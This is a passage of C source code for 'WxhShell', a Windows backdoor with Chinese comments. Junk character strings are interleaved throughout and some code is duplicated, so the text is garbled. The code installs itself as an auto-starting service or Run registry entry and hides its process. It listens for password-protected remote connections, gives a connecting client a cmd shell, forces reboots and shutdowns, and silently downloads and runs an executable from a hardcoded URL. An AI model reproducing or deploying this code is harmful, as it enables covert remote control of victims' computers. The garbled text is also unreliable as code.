JJp 4/_!F'j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6JeAXj1g+ if(NULL == hInst ) return 0; qVO,sKQ{ BlM(Q/z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U]B-B+- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O;&5>
W,Z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I.>8p]X X)=m4\R if (!NtQueryInformationProcess) return 0; c/=\YeR EY.m,@{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); * *oDQwW]* if(!hProcess) return 0; IL uQf- DGw*BN%` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }IdkXAB. * bhb=~ CloseHandle(hProcess); fN21[Jv3 c>! ^\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G)f!AuN= if(hProcess==NULL) return 0; !aJ6Uf%R rmFcSolt,f HMODULE hMod; '|*e4n char procName[255]; C[l5[DpH unsigned long cbNeeded; J l{My^I5 e2>AL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >5TXLOYZ )4hA Fy6l CloseHandle(hProcess); .81 ~ K[ ~]9EhC'l if(strstr(procName,"services")) return 1; // 以服务启动 cXr_,>k I"QU{]|J return 0; // 注册表启动 ``@e7~F{ } &m]jYvRc Q4Qf/q;U // 主模块 k'sPA_| int StartWxhshell(LPSTR lpCmdLine) e~9g~k]s { T.B7QAI. H SOCKET wsl; eLV[U BOOL val=TRUE; obv_?i1 int port=0; (yeWArQ struct sockaddr_in door; ]US!3R^ sXT8jLIf if(wscfg.ws_autoins) Install(); +tG' \.GA"_y port=atoi(lpCmdLine); 1=z\,~b CL?=j| Ea if(port<=0) port=wscfg.ws_port; &Z9rQH81f> Po.by~| WSADATA data; e?
|4O<@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1zCgPiAem CHjm7 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,w=u? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6\VZ6oS door.sin_family = AF_INET; eOfVBF<C2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); J$T(p% door.sin_port = htons(port); G,1g~h%I$ }I#_H if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v-"nyy-&Z closesocket(wsl); !kH 1| return 1; tWQ$`<h } 6(Ntt nQg_1+ if(listen(wsl,2) == INVALID_SOCKET) { LY#V)f closesocket(wsl); _?K,Jc8j. return 1; d69dC*> } M6V^ur 1 Wxhshell(wsl); Kw:%B|B<T WSACleanup(); /1bQ
RI^\ 5Q8s{WQ return 0; C}pQFL{B5 ;<%th } 3a}c'$F>_' !\OX}kHX5 // 以NT服务方式启动 *_HF %JYMZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) # $'H?lO { QBfo=9[=e DWORD status = 0; -3m!970 DWORD specificError = 0xfffffff; t8.3 |eJR3o serviceStatus.dwServiceType = SERVICE_WIN32; I SdB5Va serviceStatus.dwCurrentState = SERVICE_START_PENDING; Im]6-#(9\| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @~&^1%37) serviceStatus.dwWin32ExitCode = 0; gkca{BJ serviceStatus.dwServiceSpecificExitCode = 0; qagR?)N)u serviceStatus.dwCheckPoint = 0; ]mC5Z6,1s serviceStatus.dwWaitHint = 0; >McEuoZx9 5dbj{r)s6i hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ov
>5+"q) if (hServiceStatusHandle==0) return; K*p3#iB 3BF3$_u)o status = GetLastError(); CAN1~ if (status!=NO_ERROR) nV8iYBBym { ,s:viXk serviceStatus.dwCurrentState = SERVICE_STOPPED; _NpxV'E serviceStatus.dwCheckPoint = 0; U8,pe;/ln` serviceStatus.dwWaitHint = 0; e+<9Sh7& serviceStatus.dwWin32ExitCode = status; 5ci1ce serviceStatus.dwServiceSpecificExitCode = specificError; T{=&>pNK[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); @%fL*^yr;C return; 6*
0vUy*" } >Nx4 +| p9S>H serviceStatus.dwCurrentState = SERVICE_RUNNING; [| N73m,& serviceStatus.dwCheckPoint = 0; 1S yG serviceStatus.dwWaitHint = 0; :YLurng/] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k[@/N+;")` } ~]'yUd1gSZ gg Nvm // 处理NT服务事件,比如:启动、停止 Yn0iu$;n VOID WINAPI NTServiceHandler(DWORD fdwControl) :-(qqC: { %c8@ switch(fdwControl) +jKu^f6 { PSyUC#; case SERVICE_CONTROL_STOP: rfr]bq5 serviceStatus.dwWin32ExitCode = 0; 9w=[}<E serviceStatus.dwCurrentState = SERVICE_STOPPED; k]2_vk^ serviceStatus.dwCheckPoint = 0; MN:LL
< serviceStatus.dwWaitHint = 0; E Q:6R|L { |=V~CQ] SetServiceStatus(hServiceStatusHandle, &serviceStatus); y'non0P. } >Pvz5Hf/wW return; ;krIuk- case SERVICE_CONTROL_PAUSE: h
R6Pj"@0 serviceStatus.dwCurrentState = SERVICE_PAUSED; Ry? f; s break; ~mv5{C case SERVICE_CONTROL_CONTINUE: N:Ir63X*# serviceStatus.dwCurrentState = SERVICE_RUNNING; P.mlk>r break; k^zU; case SERVICE_CONTROL_INTERROGATE: ^uPg71r: break; WF2t{<]^e }; Dt iM}=: SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0]^gT' } o%0To{MAF- iO2jT+i // 标准应用程序主函数 ~@T`0W-Py int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %J1oz3n { Jje!*?&8X %joU}G;" // 获取操作系统版本 JU)k+:\a OsIsNt=GetOsVer(); z*9 ke GetModuleFileName(NULL,ExeFile,MAX_PATH); r d)W+W9 u1\r:q // 从命令行安装 *M$'dLn if(strpbrk(lpCmdLine,"iI")) Install();
;kT~&.,y 6&
6|R3 // 下载执行文件 wzBw5nf\ if(wscfg.ws_downexe) { py'xBi6}v if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )t CNp WinExec(wscfg.ws_filenam,SW_HIDE); g${k8.TV } L^bX[.uZw h
9}x6t, if(!OsIsNt) { ntW1 )H'o // 如果时win9x,隐藏进程并且设置为注册表启动 l kyK HideProc(); 2IUd?i3~l StartWxhshell(lpCmdLine); ;mPX8bT } tg\o"QKW9 else *dPbV.HCl if(StartFromService()) 81w"*G5AM // 以服务方式启动 c%1{l] StartServiceCtrlDispatcher(DispatchTable); ;WgUhA
;q else Kx?8HA[5 // 普通方式启动 z%\&n0 StartWxhshell(lpCmdLine); ?/myG{E 8pZ Ogh
return 0; bR8`Y(=F9b } NOKU2d4 G yqB!0)
< H8 xhE~'t 0sTR`Xk =========================================== qdxaP% p2 2u+!7D!w$ Wrh$`JC ?0?3yD-!9 [1 O{yPV3s X;
6=WqJj " ,i8%qm8 B&6lG!K'? #include <stdio.h> |68k9rq #include <string.h> i4nFjz #include <windows.h> tBX71d
T #include <winsock2.h> B-PX/Q #include <winsvc.h> IDL0!cF #include <urlmon.h> ml /S|`Drk Yy6$q\@rV #pragma comment (lib, "Ws2_32.lib") ?Ygd|a5 #pragma comment (lib, "urlmon.lib")
Lw%_xRn) [^^ Pl:+ #define MAX_USER 100 // 最大客户端连接数 vu#ZLq #define BUF_SOCK 200 // sock buffer +w"?q'SnF #define KEY_BUFF 255 // 输入 buffer oYt 34@{? C\B4Uu6q #define REBOOT 0 // 重启 j-.Y!$a%6 #define SHUTDOWN 1 // 关机 |qz%6w= f8`dJ5i #define DEF_PORT 5000 // 监听端口 n9n)eI)R p@[ fZj #define REG_LEN 16 // 注册表键长度 <fV][W #define SVC_LEN 80 // NT服务名长度 yc`*zLWh q6<P\CSHy< // 从dll定义API P,F
eF'J^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -4P `:bF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o{^`Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K Hgn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DUh\x>^ Ez-Q'v(9 // wxhshell配置信息 w~ON861 struct WSCFG { $2RSYI`py int ws_port; // 监听端口 lW|v_oP9 char ws_passstr[REG_LEN]; // 口令 Aa4Tq2G int ws_autoins; // 安装标记, 1=yes 0=no j4+Px%sW char ws_regname[REG_LEN]; // 注册表键名 JodD6;P char ws_svcname[REG_LEN]; // 服务名 Ks@cwY char ws_svcdisp[SVC_LEN]; // 服务显示名 s~9n13z char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vu=/<;-N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C,GZ int ws_downexe; // 下载执行标记, 1=yes 0=no 1@Ju sS0^K char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $EX(-!c char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _(I6o =I@I }; ]V_A4Df :2&"ak>N // default Wxhshell configuration (<8}un struct WSCFG wscfg={DEF_PORT, c?u*,d) G "xuhuanlingzhe", RS
l*u[fB 1, M.r7^9 P "Wxhshell", B?- poB& "Wxhshell", -
l^3>!MAM "WxhShell Service", 9 <{C9 "Wrsky Windows CmdShell Service", =:]v~Ehq "Please Input Your Password: ", 7 )rL<+ 1, _53~D= "http://www.wrsky.com/wxhshell.exe", mt`CQz"_ "Wxhshell.exe" RHMXPsj }; Lj9RF<39g t(9q6x3|e // 消息定义模块 }m~MN4 l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k)|.< char *msg_ws_prompt="\n\r? for help\n\r#>"; ;i'[c` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \C h01LR" char *msg_ws_ext="\n\rExit."; %^vT7c> char *msg_ws_end="\n\rQuit."; 6a9$VGInU char *msg_ws_boot="\n\rReboot..."; v8j3
K char *msg_ws_poff="\n\rShutdown..."; $Ery&rX. char *msg_ws_down="\n\rSave to "; rp{|{>'`.q xLDD;Qm, char *msg_ws_err="\n\rErr!"; g\
vT7x char *msg_ws_ok="\n\rOK!"; tiHR&v q$mc{F($D char ExeFile[MAX_PATH]; ]z/R?SM int nUser = 0; I
"~.p=' HANDLE handles[MAX_USER]; G3%Ju= int OsIsNt; _]pu"hZz4 P(TBFu SERVICE_STATUS serviceStatus; +a1iZ bh SERVICE_STATUS_HANDLE hServiceStatusHandle; 8.Y|I5l7G aR/?YKA // 函数声明 RZ xwr int Install(void); =R|XFZ, int Uninstall(void); Y`Io}h G$ int DownloadFile(char *sURL, SOCKET wsh); vIbM@Y4
'? int Boot(int flag); i>s void HideProc(void); P
<+0sh int GetOsVer(void); )AQ^PBwp int Wxhshell(SOCKET wsl); 5UO+c(T void TalkWithClient(void *cs); E3]WRF;l int CmdShell(SOCKET sock); So'.QWzX int StartFromService(void); =4a:)g' int StartWxhshell(LPSTR lpCmdLine); fzQR0 "cPg_-n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HOF$(86zqA VOID WINAPI NTServiceHandler( DWORD fdwControl ); X["xC3 i %.<_+V#h // 数据结构和表定义 W%-XN SERVICE_TABLE_ENTRY DispatchTable[] = U/QgO { |#kY_d)10 {wscfg.ws_svcname, NTServiceMain}, rUj\F9*5# {NULL, NULL} ]b!n ;{5 }; -` U|5 EZ]4cd/i // 自我安装 EN2SI+ int Install(void) vjlN@
" { Q>Zc
eJ; char svExeFile[MAX_PATH]; g-~ _gt7 HKEY key; ]myRYb5Z strcpy(svExeFile,ExeFile); J-5>+E,nZ 8Auek#[ // 如果是win9x系统,修改注册表设为自启动 !}#> ky!t if(!OsIsNt) { ]A'{DKR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D3X4@sM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L ,dh$F RegCloseKey(key); d*0RBgn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -HG.GA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R[a-" RegCloseKey(key); .qO4ceW2-~ return 0; cR/Nl pX } iM)K:L7d } ir_XU/ve } d8wVhZKI" else { &aLTy&8Fv
D}98ZKi // 如果是NT以上系统,安装为系统服务 30!DraW8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (WyNO QO' if (schSCManager!=0) e~N&?^M { -AdDPWn SC_HANDLE schService = CreateService /I=|;FGq (
X8$Mzeq schSCManager, >u&D@7~c wscfg.ws_svcname, .d]/:T
-0 wscfg.ws_svcdisp, h|CZ~ SERVICE_ALL_ACCESS, oAQQ OtpZN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hul,Yd) Z SERVICE_AUTO_START, 6 dRhK+| SERVICE_ERROR_NORMAL, %^IQ< svExeFile, )8@- NULL, j Q5 F} NULL, mH&7{2r NULL, r ;RYGLx NULL, 4,I,f>V NULL H9/!oI1P? ); rx1u*L if (schService!=0) 9&n9J^3L { J:yv82 CloseServiceHandle(schService); wUv?;Y$C CloseServiceHandle(schSCManager); QnWE;zN[7A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aDF@AS strcat(svExeFile,wscfg.ws_svcname); P}v
;d] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u2 s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,t9EL 21 RegCloseKey(key); @N4_){s* return 0; ws'e } .Vbd-jr'M } n1."Qix0 CloseServiceHandle(schSCManager); u7L?9 } dLiiJ6pl* } tYu<(Z(l) 'x*C#mt return 1; bY" zK',m } $oBs%.Jp >Ku4Il+36 // 自我卸载 :?6HG_9X int Uninstall(void) ~)U50.CH { &Hb%Q! ^Kb HKEY key; "lh4Vg\7n lYG`)#T if(!OsIsNt) { NN*L3yx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jIubJQR~ RegDeleteValue(key,wscfg.ws_regname); J3eud}w RegCloseKey(key); 8;@y\0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >n"0>[:4 RegDeleteValue(key,wscfg.ws_regname); NnLK!Q RegCloseKey(key); [ohLG_9 return 0; FS1\`#Bm) } |>;PV4])( } ,*|Q= } 4$xVm,n|
else { NUV">i.( {rc3`<% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *D?=Ts if (schSCManager!=0) hIe .Mv-I) { .-Lrrk)R+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >v+1v if (schService!=0) s2O()u- { ip-X r|Bq if(DeleteService(schService)!=0) { COh#/-`\1 CloseServiceHandle(schService); q\EYsN</; CloseServiceHandle(schSCManager); !mlfG"FE return 0; 9O;Sn + } L7rgkxI7k* CloseServiceHandle(schService); /wJ#-DZ } MQoA\ CloseServiceHandle(schSCManager); duG!QS: } <P h50s4 } Wk%|%/: I3Vu/&8f| return 1; %1i:*~g } ojM'8z0Hn 32ki ?\P // 从指定url下载文件 ^~~Rto)Y int DownloadFile(char *sURL, SOCKET wsh) wA5Iz{uQO { w-K A~ HRESULT hr; *tqD:hiF char seps[]= "/"; [7I:Dm char *token; dA)T> char *file; jFN0xGZ char myURL[MAX_PATH]; #]}Ii{1?Y char myFILE[MAX_PATH]; Kv@P Uzu Nf]?hfJ strcpy(myURL,sURL); ;fNCbyg4
I token=strtok(myURL,seps); $s7U
|F,I while(token!=NULL) >Sc yc-n { 0AO^d[v file=token; /8l-@P.o token=strtok(NULL,seps); +=($mcw#[ } "'v+*H 3 s<YN*~ GetCurrentDirectory(MAX_PATH,myFILE); Lf9hOMHx strcat(myFILE, "\\"); Ey=2zo^F strcat(myFILE, file); f;'*(( send(wsh,myFILE,strlen(myFILE),0); *u+DAg'& send(wsh,"...",3,0); |Hf|N$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lh;fqn` if(hr==S_OK) K#OL/2^
5 return 0; FyEKqYl else 1/-3m Po return 1; %0Ur3 nah?V"
?Y } -}6ew@GE IW\^-LI. // 系统电源模块 _[6sr7H! int Boot(int flag) 3 yx[*'e$ { l[E^nh> HANDLE hToken; h.Qk{v TOKEN_PRIVILEGES tkp; 7!J-/#! Jqxd92 bI if(OsIsNt) { "1a;);S=*) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |ke0G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H'WYnhU& tkp.PrivilegeCount = 1; (_pw\zk> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g (w/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?'k_K:_ if(flag==REBOOT) { n-9xfn0U~# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XM\\Imw return 0; Vlx.C~WYn } }TTghE! else { "l&SRX?g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `rn/H;r!Z return 0; T~3{$ } Q/|.=:~FO } m1W) PUy else { %,[,mW4l if(flag==REBOOT) { i]Mem M- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B{/og*xd*1 return 0; a"@f< wU~ } 0Md>-H;ZY else { _$UJ'W})/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U`6|K$@ return 0; O:0{vu9AQ } bSe\d~{ } w+6P x# !.UE} ^TV return 1; $`lWW6>P } W` x.qumN UNDl&C2vz // win9x进程隐藏模块 p$,G`'l void HideProc(void) }# s{." { jRg/N_2'2 i|{psA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZLzc\>QX if ( hKernel != NULL ) [63\2{_^v { y,:WLk~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HGYTh"R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >az~0PeEL FreeLibrary(hKernel); =AO
( } u[**,.Ecg 5Y+YN1 return; AFi_P\X } :E-$:\V0}k H4ie$/[$8 // 获取操作系统版本 $IQPB_: int GetOsVer(void) *6yY>LW { fnq 3ic"V OSVERSIONINFO winfo; ZiZ @3O6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3t<a3"{9 GetVersionEx(&winfo); ]$ d ;P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~HIj+kN return 1; [7}3k?42X else {dxFd-K3 return 0; tMw65Xei6b } U5C]zswL ,\i*vJ#f // 客户端句柄模块 ~Eg]Auk7 int Wxhshell(SOCKET wsl) E_~e/y"- { CT'4. SOCKET wsh; g(pr.Dw6 struct sockaddr_in client; (#y2RF8j DWORD myID; g7! LX[ C<_\{de|9 while(nUser<MAX_USER) xT 06*wQ { &pY' int nSize=sizeof(client); Movm1*&= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P%:?"t+J`; if(wsh==INVALID_SOCKET) return 1; t{c:<nN *+*W# de. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ND1hZ3(^ if(handles[nUser]==0) HrE, K\^ closesocket(wsh); )n)AmNpq
else X{ x(p nUser++; ;h1hz^Wq } Tz)Ku WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |mKohV qr :,l16{^ return 0; VEy]vr} } =6U5^+|d t*= nI $ // 关闭 socket 2OUx@Vj void CloseIt(SOCKET wsh) Stwg[K0< { /Pextj< closesocket(wsh); E0I/]0 nUser--; _]@u)$ ExitThread(0); $ ,K@xq5 } rG?5z" q;#AlquY @ // 客户端请求句柄 ;SE*En void TalkWithClient(void *cs) qh.F}9o { gM&O dT+i <n,QSy# SOCKET wsh=(SOCKET)cs; IoLP*D char pwd[SVC_LEN]; *f 7rLM* char cmd[KEY_BUFF]; 5Xr})%L char chr[1]; 6/ 5c| int i,j; nl}LT/N |yz[mP*;o while (nUser < MAX_USER) { FaCW +9B SZT n=\ if(wscfg.ws_passstr) { p0W<K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v'
t'{g% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;.AMP$o`(Y //ZeroMemory(pwd,KEY_BUFF); SZXSVz0j i=0; 6:wk=#w while(i<SVC_LEN) { j_5&w Znq L*4"D4V // 设置超时 K&&T:'=/ fd_set FdRead; 3ibQbk struct timeval TimeOut; {X<g93 FD_ZERO(&FdRead); j5D Cc,s FD_SET(wsh,&FdRead); C7F\Y1Wj TimeOut.tv_sec=8; [;Ih I TimeOut.tv_usec=0; T;3qE1c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FS5iUH+5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]2l}[
w71| "8%$,rG1& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zj -#"Gm pwd=chr[0]; wlP3 XF? if(chr[0]==0xd || chr[0]==0xa) { o@N[O^Q
V pwd=0; _`p-^I break; C[.Xi } f3Zf97i i++; W0MgY%Qv[ } lv?`+tU2_ @?e~l:g})g // 如果是非法用户,关闭 socket TO]7cC if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }J6:D]Q } ^;ZpK@Luk 4`"}0:t. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9<0yz?b': send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8H-yT1
c
$r"q :\ while(1) { E[#VWM
I S rH::-{ ZeroMemory(cmd,KEY_BUFF); OD7^*j(p` I'BHNZO5tf // 自动支持客户端 telnet标准 Wu*
4r0 j=0; va_u4 while(j<KEY_BUFF) { /ojx$Um if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qCI7)L` cmd[j]=chr[0]; \]4EAKJE if(chr[0]==0xa || chr[0]==0xd) { lr4wz(q<9 cmd[j]=0; 7_PY%4T" break; QxG^oxU} } Uhr2"Nuuy j++; %\-E
R!b } b>QdP$> )NhC+=N // 下载文件 2~\SUGW- if(strstr(cmd,"http://")) { a T(] send(wsh,msg_ws_down,strlen(msg_ws_down),0); r'y Nc&~ if(DownloadFile(cmd,wsh)) UUDHknm" send(wsh,msg_ws_err,strlen(msg_ws_err),0); ECi;o1hda else 7w2$?k',- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V-7l+C5 } OQfFS+6 else { ~}j+~ )EB+(c~E switch(cmd[0]) { vu@.;-2E% 'fl.&"/r // 帮助 {H(l"KuL case '?': { _ f";zd send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B<L7`xL break; k
L6s49 } L,.~VNy- // 安装 jZ-s6r2= case 'i': { q/zU'7%@ if(Install()) $%cHplQz5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,^3aZwJ' else <A=1]'1\r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &*"*b\ break; LA_{[VWYp> } Uc:NW
// 卸载 e(/F:ZEh case 'r': { !@ ]IJ"\ if(Uninstall()) G\F>* send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#:p:R8I> else M 5w/TN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =K0%bI break; gIz!~I_U } V'{\g|) // 显示 wxhshell 所在路径 UA*VqK)Y case 'p': { ,DE>:ARZ char svExeFile[MAX_PATH]; Jn=;gtD-* strcpy(svExeFile,"\n\r"); 2<B'PR-??y strcat(svExeFile,ExeFile); C`t@tgT send(wsh,svExeFile,strlen(svExeFile),0); W9w*=W
)Z break; @I-gs( } AvrvBz[ // 重启 .e0)@}Jv8> case 'b': { bKmwXDv' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b9X*2pnWJ if(Boot(REBOOT)) aR6F%7gvz send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^D+^~>f else { ,.0bE
9\o closesocket(wsh); 7Q&-ObW ExitThread(0); 9\hI:rI } Rs5 lL-I break; \X&8EW } Z[IM\# " // 关机 LWJ ?p-X case 'd': { '42$O send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I4jRz*Ufe? if(Boot(SHUTDOWN)) {rR(K"M send(wsh,msg_ws_err,strlen(msg_ws_err),0); }r@dZBp: else { 9}9VZ r? closesocket(wsh); J6s]vV q" ExitThread(0); -ymDRoi } -MS#YcsV break; ]87BP%G } :sg}e // 获取shell !Nx1I case 's': { SC~k4&xy CmdShell(wsh); HQ-++;Q closesocket(wsh); ecs 0iW-, ExitThread(0); +`GtZnt# break; ,9bnR;f\ } %\<b{x# G // 退出 kd^H}k case 'x': { B ktRA send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SdYf^@%}F CloseIt(wsh); ]7Vg9&1` break; ;9OhK71} } edo )W
mn // 离开 x']'ODs case 'q': { )
FR7t send(wsh,msg_ws_end,strlen(msg_ws_end),0); c$ZVvu closesocket(wsh); =^u;uS[IW WSACleanup(); { V6pC exit(1); G~<UP(G break; wUCxa>h' } q5R|
^uf } }?9&xVh?\ } T3P9 KCTX2eNN&h // 提示信息 V#dga5*] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '?9zL* } h[]9F.[ } 6"Fn$ :l? t>cGfA return; :Mu*E5 } swF{}S" t6nRg // shell模块句柄 P'U2hCif int CmdShell(SOCKET sock) @ye!? % { %BGg?& STARTUPINFO si; }aRib{L ZeroMemory(&si,sizeof(si)); |2q3spd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A0)^I:& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f zo'9 PROCESS_INFORMATION ProcessInfo; h )
Wp char cmdline[]="cmd"; *(Dmd$|0| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u)0I$Tc" return 0; _h!.gZB3 } RHC ZP mF*x&^ie // 自身启动模式 ~+dps i int StartFromService(void) ?+d`_/IB { U0_^6zd_ typedef struct 06pvI} { _Ub
`\ytx DWORD ExitStatus; !e|\1v'0 DWORD PebBaseAddress; G7CeWfS DWORD AffinityMask; R (~wSL*R> DWORD BasePriority; H\S)a FY[ ULONG UniqueProcessId; lDYgtUKG ULONG InheritedFromUniqueProcessId; [7v|bd } PROCESS_BASIC_INFORMATION; 5^ Qa8yA>7 lv
8EfN PROCNTQSIP NtQueryInformationProcess; _HUbE / C[^V\?3ly: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /IpCo static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;>?h/tS6 Ki;SONSV~| HANDLE hProcess; -x//@8" PROCESS_BASIC_INFORMATION pbi; /WTEz\k O]u'7nO{{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Q.* if(NULL == hInst ) return 0; R_PF*q2 ' 5Kg'&B ( g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @oA z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SB\%"nnV NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jn2=)KBa_ A"V
mxP if (!NtQueryInformationProcess) return 0; qE~_}4\Z9 y+(\:;y$7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k]@]a if(!hProcess) return 0; A;TP~xq\ Nwi|>'\C if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yn62NyK T`EV
uRJ CloseHandle(hProcess); *|AQV:
;/K2h_=3z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
